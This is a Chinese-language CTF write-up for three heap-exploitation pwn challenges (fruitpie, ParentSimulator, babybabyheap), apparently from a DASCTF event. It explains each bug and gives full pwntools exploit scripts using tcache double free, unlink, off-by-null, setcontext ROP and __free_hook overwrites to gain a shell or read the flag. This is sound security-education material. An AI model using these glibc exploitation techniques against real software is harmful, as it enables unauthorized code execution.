fruiteie
首先看一下程序的逻辑,首先是读取了用户输入的一个size
,然后程序申请了对应大小的堆块heap
,输出heap
地址之后接着读取了一个十六进制的数作为offset
,接着向heap+offset
的位置读取了0x10
字节大小的数据。最后又申请了一个0xa0
大小的堆块。
那么这里题目的提示很明显了,也就是利用offset
写one_gadget
到malloc_hook
中去,在调用malloc(0xa0)
的时候触发one_gadget
的调用,getshell
。
但是这里存在一个问题就是如何泄漏出libc
的地址,再读一下程序,我们注意到这里malloc(size)
的时候size
为可以为负数,因此这里我们输入一个-1
,那么malloc
就会调用mmap
去申请一个很大的内存空间,经过调试发现这个内存空间的起始地址与libc
的基地址偏移是固定的。
那么我们就根据输出的heap
地址就可以推算出libc
基地址。
# encoding=utf-8
from pwn import *
file_path = "./fruitpie"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
gdb.attach(p, "b *$rebase(0xCC9)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = [0x45226, 0x4527, 0xf0364, 0xf1207]
else:
p = remote('54f57bff-61b7-47cf-a0ff-f23c4dc7756a.machine.dasctf.com', 50202)
libc = ELF('./libc.so.6')
one_gadget = [0x4f365, 0x4f3c2, 0x10a45c]
p.sendlineafter("Enter the size to malloc:\n", str(-1))
heap_address = int(p.recvline().strip(), 16)
log.success("heap address is {}".format(hex(heap_address)))
libc.address = heap_address + 0x100001000 - 0x10
log.success("libc address is {}".format(hex(libc.address)))
log.success("malloc_hook is {}".format(hex(libc.sym['__malloc_hook'])))
different = libc.sym['__malloc_hook'] - heap_address
log.success("different is {}".format(hex(different)))
p.sendlineafter("Offset:", hex(different)[2:])
p.sendafter("Data:\n", p64(one_gadget[2] + libc.address))
p.interactive()
ParentSimulator
首先看一下程序的逻辑,首先是第一个函数调用,这里需要注意的是程序开启了沙箱,然后还打开了一个文件,最重要的是调用了chdir("/")
函数。
open("/tmp", 0);
lchown("/tmp/ohohoho/", 0, 0);
chroot("/tmp/ohohoho/");
chdir("/");
接着向下分析程序提供了五种功能和一个后门,我们首先看一下add
函数,add
函数申请了一个child
结构体,该结构体的大小为0x110
,结构体的成员变量如下
00000000 child struc ; (sizeof=0x100, mappedto_8)
00000000 name db 8 dup(?)
00000008 sex db 8 dup(?)
00000010 des db 240 dup(?)
00000100 child ends
也就是有三个成员变量,在add
函数中为name,sex
这两个成员变量赋值。然后提供了change_name,edit_des
这两个函数,用来修改name
成员变量和为des
赋值。还有一个show
函数将这三个成员变量的内容全部输出。
还存在一个delete
函数,用来删除结构体,需要注意的是这三个函数只有当is_alive[index]
对应的位置为1
的时候才能操作,即进行了一个是否已经被删除的检查。
这几个函数都没有什么问题,我们重点看一下后门函数,也就是666
的时候调用的函数。该函数只能调用一次。
printf("Current gender:%s\n", node_list[v2]->sex);
puts("Please rechoose your child's gender.\n1.Boy\n2.Girl:");
v3 = readint();
if ( v3 == 1 )
{
v0 = (struct child *)node_list[v2]->sex;
*(_DWORD *)v0->name = 0x796F62;
}
else if ( v3 == 2 )
{
v0 = (struct child *)node_list[v2]->sex;
strcpy(v0->name, "girl");
}
函数的主要功能就是输出和修改sex
成员变量,那么这里我们注意到该函数调用的时候并没有对is_alive
这个数组相应的位置进行检查,也就是说这里存在一个UAF
。利用sex
的输出可以泄漏一下堆地址。
而注意到sex
成员变量的特殊位置+0x8
,正好是tcache
对double free
进行检查的位置,也就是key
变量的位置,那么我们可以通过后门函数修改key
,构造一个double free
,此时就可以完成一次任意地址分配。
为了持续的利用double free
,选择将任意地址分配的位置为某一个堆块起始地址-0x20
的位置。利用change_descirption
这个函数修改改des
成员变量的功能就可以修改这个堆块的fd
指针,就可以完成多次的任意地址分配。
0x56207637a0a0: 0x00005620781883b0(child_list) 0x00005620781883b0
0x56207637a0b0: 0x00005620781884c0 0x0000562078188390(child_3)
0x56207637a0c0: 0x0000000000000000 0x0000000000000000
从上面的堆分配来说,通过index=3
的堆块就可以控制index=0
的堆快。
现在有了任意地址分配,还差一个地址泄漏,这里我才用的就是利用任意地址分配将堆块分配到pthread_tcache_struct
位置处,然后释放,那么pthread_tcache_struct
结构体中就存在了一个libc
附近的地址,那么再次利用任意地址分配,分配堆快到libc_address-0x20
的位置,使得des
成员变量恰好指向libc
附近的地址,那么此时利用show
函数就可以泄漏出libc
地址了。
由于这个题目开启了沙箱
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
因此这里我们还是得需要构造orw
,利用setcontext
进行栈迁移,执行我们的orw rop
,并且需要注意的是程序一开始已经打开了一个文件,因此这里的open
函数打开flag
的时候返回的fd=4
。
# encoding=utf-8
from pwn import *
file_path = "./pwn"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
else:
p = remote('pwn.machine.dasctf.com', 51603)
libc = ELF('./libc-2.31.so')
one_gadget = 0x0
def add(index, sex=1, name=b"11"):
p.sendlineafter(">> ", "1")
p.sendlineafter("input index?", str(index))
p.sendlineafter("1.Boy\n2.Girl:\n", str(sex))
p.sendafter("your child's name:\n", name[:-1])
def change_name(index, name):
p.sendlineafter(">> ", "2")
p.sendlineafter("input index?", str(index))
p.sendafter("child's new name:\n", name)
def show_name(index):
p.sendlineafter(">> ", "3")
p.sendlineafter("input index?", str(index))
def delete(index):
p.sendlineafter(">> ", "4")
p.sendlineafter("input index?", str(index))
def change_des(index, content):
p.sendlineafter(">> ", "5")
p.sendlineafter("input index?", str(index))
p.sendafter("child's description:\n", content)
def back(index):
p.sendlineafter(">> ", "666")
p.sendlineafter("input index?", str(index))
add(0)
add(1)
add(2)
add(9)
delete(0)
delete(1)
back(1)
p.recvuntil("Current gender:")
heap_address = u64(p.recvline().strip().ljust(8, b"\x00")) - 0x10
p.sendlineafter("1.Boy\n2.Girl:\n", str(1))
delete(1)
add(0, 1, p64(heap_address + 0x390))
add(1, 1, p64(0))
add(3, 1, p64(0)) # control 0, 1
delete(2)
delete(0)
change_des(3, p64(0) + p64(0x111) + p64(heap_address + 0x10))
add(0)
add(4) # pthread_tcache_struct
change_des(4, p64(0)*7 + p64(0x0007000000000000))
delete(4)
add(4, 1, p64(0))
delete(0)
change_des(3, p64(0) + p64(0x111) + p64(heap_address + 0x110))
change_des(4, p64(0) + p64(0x0002000000000000))
add(0)
add(5)
show_name(5)
p.recvuntil("Description:")
libc.address = u64(p.recv(6).strip().ljust(8, b"\x00")) - 96 - 0x10 - libc.sym['__malloc_hook']
p_rsi_r = 0x0000000000027529 + libc.address
p_rdi_r = 0x0000000000026b72 + libc.address
p_rdx_r12_r = 0x000000000011c1e1 + libc.address
p_rax_r = 0x000000000004a550 + libc.address
syscall = 0x0000000000066229 + libc.address
ret = 0x00000000000c1479 + libc.address
flag_str_address = libc.sym['__free_hook'] + 0xa0
flag_address = libc.sym['__free_hook'] + 0x30
orw = flat([
p_rdi_r, flag_str_address,
p_rsi_r, 0,
p_rax_r, 2,
syscall,
p_rdi_r, 4,
p_rsi_r, flag_address,
p_rdx_r12_r, 0x30, 0,
p_rax_r, 0,
syscall,
p_rdi_r, 1,
p_rsi_r, flag_address,
p_rdx_r12_r, 0x30, 0,
p_rax_r, 1,
syscall,
libc.sym['exit']
])
magic = 0x00000000001547a0 + libc.address
payload = p64(magic) + p64(0)
payload += p64(libc.sym['setcontext'] + 61)
payload = payload.ljust(0x90, b"\x00")
payload += p64(heap_address + 0x5d0 + 0x10) + p64(ret)
payload += b"./flag\x00"
delete(0)
change_des(3, p64(0) + p64(0x111) + p64(libc.sym['__free_hook'] - 0x20))
change_des(4, p64(0) + p64(0x0002000000000000))
add(0)
add(7)
delete(9)
add(9)
change_des(9, orw)
delete(0)
change_des(3, p64(0) + p64(0x111) + p64(libc.sym['__free_hook'] - 0x10) + p64(0))
change_des(4, p64(0) + p64(0x0002000000000000))
add(0)
add(6)
log.success("libc address is {}".format(hex(libc.address)))
log.success("heap address is {}".format(hex(heap_address)))
change_des(7, p64(0) + p64(libc.sym['__free_hook'] - 0x10) + payload)
delete(6)
p.interactive()
babybabyheap
首先看一下程序的逻辑,程序提供了四种方法就是add,show,delete
,还有一个后门函数。add
函数只能申请0x7F-0x200
大小的堆块。delete
删除堆块,show
函数输出堆块的内容,这三种方法只能在size_list[index]
中对应位置有数值的情况下才能调用,相当于size_list[index]
是一个is_deleted
的判断。
这种情况下就没有UAF
了,那么此时看一下后门函数,后门函数只能够调用一次
index = readstr((void *)buf_list[v1], size_list[v1]);
__int64 __fastcall readstr(void *a1, unsigned int a2)
{
unsigned int v3; // [rsp+1Ch] [rbp-4h]
v3 = read(0, a1, a2);
if ( *((_BYTE *)a1 + (int)v3 - 1) == 10 )
*((_BYTE *)a1 + (int)v3 - 1) = 0;
*((_BYTE *)a1 + (int)v3) = 0;
return v3;
}
这里很明显的存在一个off-by-null
的漏洞,一开始想到的是利用large bin
构造off-by-null
漏洞的利用造成堆重叠,但是这里最大只能分配0x200
的堆块,所以这里无法使用。
对于off-by-null
的利用方法就是构造堆重叠,那么这里我们主要是绕过下面这两个检查。
__glibc_unlikely (chunksize(p) != prevsize;
__builtin_expect (fd->bk != p || bk->fd != p, 0)
程序没有开启地址随机化,因此存储所有堆块地址的buf_list
的地址我们是知道的,因此这里我们可以直接利用node_list
伪造fd,bk
指针,是一个典型的unlink
的利用。
pwndbg> x/20gx 0x0000000001d573a0-0x10
0x1d57390: 0x0000000000000000 0x0000000000000101 << orial chunk
0x1d573a0: 0x0000000000000000 0x00000000000001f1 << fake chunk
0x1d573b0: 0x0000000000404130 0x0000000000404138 << fake chunk fd & bk
0x1d573c0: 0x0000000000000000 0x0000000000000000
//...
0x1d57480: 0x0000000000000000 0x0000000000000000
0x1d57490: 0x0000000000000000 0x0000000000000101 << target chunk
0x1d574a0: 0x6161616161616161 0x6161616161616161
//...
pwndbg>
0x1d57570: 0x6161616161616161 0x6161616161616161
0x1d57580: 0x6161616161616161 0x6161616161616161
0x1d57590: 0x00000000000001f0 0x0000000000000100 << chunk
0x1d575a0: 0x0000000000000031 0x0000000000000000
0x1d575b0: 0x0000000000000000 0x0000000000000000
在unlink
之后就会在node_list
中写入&node_list
附近的地址该地址和index
相关。
0x404140: 0x0000000001d572a0 0x0000000000404130 << node_list - 0x10
0x404150: 0x0000000001d574a0 0x0000000001d575a0
0x404160: 0x0000000001d576a0 0x0000000001d577a0
由于这个程序中并不存在edit
函数,因此这里我们只能先释放然后再申请用来向node_list
中写入数据。至于chunk_size
的构造可以利用size_list
中保存的数据。
那么这里写入的是一个伪造的堆块,该伪造堆块位于两个堆块的中间,
pwndbg> x/20gx 0x00000000010e9ba0-0x10
0x10e9b90: 0x0000000000000000 0x0000000000000101 << chunk1
0x10e9ba0: 0x0000000000000000 0x0000000000000000
//...
pwndbg>
0x10e9c30: 0x0000000000000000 0x0000000000000000
//...
0x10e9c60: 0x0000000000000000 0x0000000000000000
0x10e9c70: 0x0000000000000000 0x0000000000000101 << fake chunk
0x10e9c80: 0x0000000000000000 0x0000000000000000
0x10e9c90: 0x0000000000000000 0x0000000000000101 << chunk2
0x10e9ca0: 0x0000000000000000 0x0000000000000000
//...
0x10e9d70: 0x0000000000000000 0x0000000000000021 << fake chunk to bypass check
0x10e9d80: 0x0000000000000000 0x0000000000000000
0x10e9d90: 0x0000000000000000 0x0000000000020271
通过向fake chunk
中写入数据可以覆写tcache fd
指针,那么就可以造成任意的地址分配,在add
中写入数据即可覆写free_hook
为system
。
# encoding=utf-8
from pwn import *
file_path = "./pwn"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process([file_path])
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = [0xe6e73, 0xe6e76, 0xe6e79]
else:
p = remote('pwn.machine.dasctf.com', 50700)
libc = ELF('./libc-2.31.so')
one_gadget = [0xe6ce3, 0xe6ce6, 0xe6ce9]
def add(index, size, content=b"1"):
p.sendlineafter(">> ", "1")
p.sendlineafter("index?\n", str(index))
p.sendlineafter("size?\n", str(size))
p.sendafter("content?\n", content)
def show(index):
p.sendlineafter(">> ", "2")
p.sendlineafter("index?\n", str(index))
def delete(index):
p.sendlineafter(">> ", "3")
p.sendlineafter("index?\n", str(index))
def back(index, content):
p.sendlineafter(">> ", "4")
p.sendafter("Sure to exit?(y/n)\n", "n")
p.sendlineafter("index?\n", str(index))
p.sendafter("content?\n", content)
p.recvuntil("gift: ")
libc.address = int(p.recvline().strip(), 16) - libc.sym['puts']
log.success("libc address is {}".format(hex(libc.address)))
buf_address = 0x404140
add(0, 0xf8)
add(1, 0xf8, p64(0) + p64(0x1f1) + p64(buf_address + 0x8 - 0x18) + p64(buf_address + 0x8 - 0x10))
add(2, 0xf8)
add(3, 0xf8)
for i in range(7):
add(4 + i, 0xf8)
for i in range(7):
delete(4 + i)
back(2, b"a"*0xf0 + p64(0x1f0))
delete(3)
add(30-4, 0x91)
delete(1)
add(29, 0xf8)
add(30, 0xf8, b"\x00"*0xd0 + p64(0) + p64(0x101))
delete(29)
add(1, 0x88, p32(0xf8)*2 + p64(0) + p64(0x404130)*2)
show(29)
heap_address = u64(p.recvline().strip().ljust(8, b"\x00"))
log.success("heap address is {}".format(hex(heap_address)))
add(29, 0xf8, b"\x00"*0xd0 + p64(0) + p64(0x21))
delete(1)
add(1, 0x88, p32(0xf8)*2 + p64(0) + p64(0x404130)*2 + p64(heap_address + 0x100 + 0xd0 + 0x10))
delete(29)
delete(2)
add(2, 0xf8, b"\x00"*0x18 + p64(0x101) + p64(libc.sym['__free_hook']))
add(20, 0xf8, b"/bin/sh\x00")
add(21, 0xf8, p64(libc.sym['system']))
delete(20)
p.interactive()
加成券.jpg